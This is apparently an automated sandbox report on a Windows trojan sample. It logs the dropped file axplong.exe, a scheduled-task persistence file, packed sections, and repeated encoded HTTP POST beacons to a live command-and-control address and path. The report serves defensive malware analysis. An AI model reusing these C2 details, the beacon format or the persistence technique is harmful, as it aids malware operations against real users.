Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown

DNS traffic detected: query: 206.23.85.13.in-addr.arpa replaycode: Name error (3)

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 7_2_006ABD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

7_2_006ABD60

Source: global traffic

DNS traffic detected: DNS query: 206.23.85.13.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000007.00000002.3248149591.0000000001269000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000007.00000002.3248149591.000000000126D000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000007.00000002.3248149591.000000000122B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000007.00000002.3248149591.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php3
Source: axplong.exe, 00000007.00000002.3248149591.000000000126D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php32
Source: axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php=
Source: axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpZ
Source: axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpc
Source: axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000007.00000002.3248149591.0000000001269000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpp;
Source: axplong.exe, 00000007.00000002.3248149591.000000000127F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpt
Source: axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpx
Source: axplong.exe, 00000007.00000002.3248149591.0000000001299000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpy

System Summary

PE file contains section with special chars

Source: EXyAlLKIck.exe	Static PE information: section name:
Source: EXyAlLKIck.exe	Static PE information: section name: .idata
Source: EXyAlLKIck.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006E3068	7_2_006E3068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006AE440	7_2_006AE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006A4CF0	7_2_006A4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006D7D83	7_2_006D7D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006E765B	7_2_006E765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006A4AF0	7_2_006A4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006E777B	7_2_006E777B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006E8720	7_2_006E8720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006E6F09	7_2_006E6F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 7_2_006E2BD0	7_2_006E2BD0

Source: EXyAlLKIck.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EXyAlLKIck.exe	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: EXyAlLKIck.exe	Static PE information: Section: wfabfqoe ZLIB complexity 0.994585331028423
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9973763198228883
Source: axplong.exe.0.dr	Static PE information: Section: wfabfqoe ZLIB complexity 0.994585331028423

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/1

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: EXyAlLKIck.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

File read: C:\Users\user\Desktop\EXyAlLKIck.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\EXyAlLKIck.exe "C:\Users\user\Desktop\EXyAlLKIck.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\EXyAlLKIck.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: EXyAlLKIck.exe

Static file information: File size 1878528 > 1048576

Source: EXyAlLKIck.exe

Static PE information: Raw size of wfabfqoe is bigger than: 0x100000 < 0x199000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\EXyAlLKIck.exe	Unpacked PE file: 0.2.EXyAlLKIck.exe.750000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.6a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.6a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;wfabfqoe:EW;qxvdwait:EW;.taggant:EW;
